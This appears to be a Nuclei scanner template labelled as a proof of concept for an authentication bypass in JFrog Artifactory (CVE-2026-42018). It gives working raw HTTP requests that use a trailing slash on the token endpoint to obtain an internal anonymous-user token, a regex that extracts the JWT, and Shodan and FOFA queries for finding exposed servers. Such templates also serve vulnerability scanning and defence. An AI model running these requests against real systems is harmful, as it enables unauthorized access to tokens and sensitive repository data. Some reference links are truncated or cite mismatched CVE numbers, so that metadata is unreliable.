JFrog Artifactory contains an information disclosure caused by returning an internal anonymous-user token to unauthenticated callers when anonymous access is disabled, letting unauthenticated attackers access sensitive resources. The exploit requires anonymous access to be disabled.
PoC
id: CVE-2026-42018
info:
name: JFrog Artifactory - Anonymous Token Disclosure via Trailing Slash Auth Bypass
author: theamanrawat
severity: high
description: |
JFrog Artifactory contains an information disclosure caused by returning an internal anonymous-user token to unauthenticated callers when anonymous access is disabled, letting unauthenticated attackers access sensitive resources. The exploit requires anonymous access to be disabled.
impact: |
Unauthenticated attackers can access sensitive resources by obtaining internal tokens, potentially leading to information disclosure.
remediation: |
Update to the latest version where this issue is fixed.
reference:
- https://docs.jfrog.com/releases/docs/jfrog-security-advisories
- https://www.wiz.io/blog/artifactory-under-attack-in-the-wild-exploitation-of-cve-2026-42016-cve-2026-4201
- https://github.com/BL0odz/JFrog_CVE-2026-65615-ByGLM
- https://edrabb.fr/posts/full-chain-preauth-rce-jfrog-artifactory/
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42018
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-42018
epss-score: 0.11038
epss-percentile: 0.95772
cwe-id: CWE-287
metadata:
verified: true
max-request: 2
shodan-query: http.title:"jfrog"
fofa-query: title="jfrog"
tags: cve,cve2026,jfrog,artifactory,auth-bypass,disclosure,kev,vkev
flow: http(1) && http(2)
http:
- raw:
- |
POST /access/api/v1/aws/token HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{}
matchers:
- type: dsl
dsl:
- 'status_code == 401'
internal: true
- raw:
- |
POST /access/api/v1/aws/token/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{}
matchers:
- type: dsl
dsl:
- 'contains(body, "access_token") && contains(body, "anonymous")'
- 'status_code == 200'
condition: and
extractors:
- type: regex
name: anonymous-jwt-token
part: body
regex:
- 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+'
# digest: 4a0a00473045022100e4aed53dedb59f1df0e12fbc76143ed29b54264fba375536d3ed874497bc471102201890e1c2cec63ee1a8f0a6c39f0b0aca29096bf0e78227b9592e4a9b0509b939:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.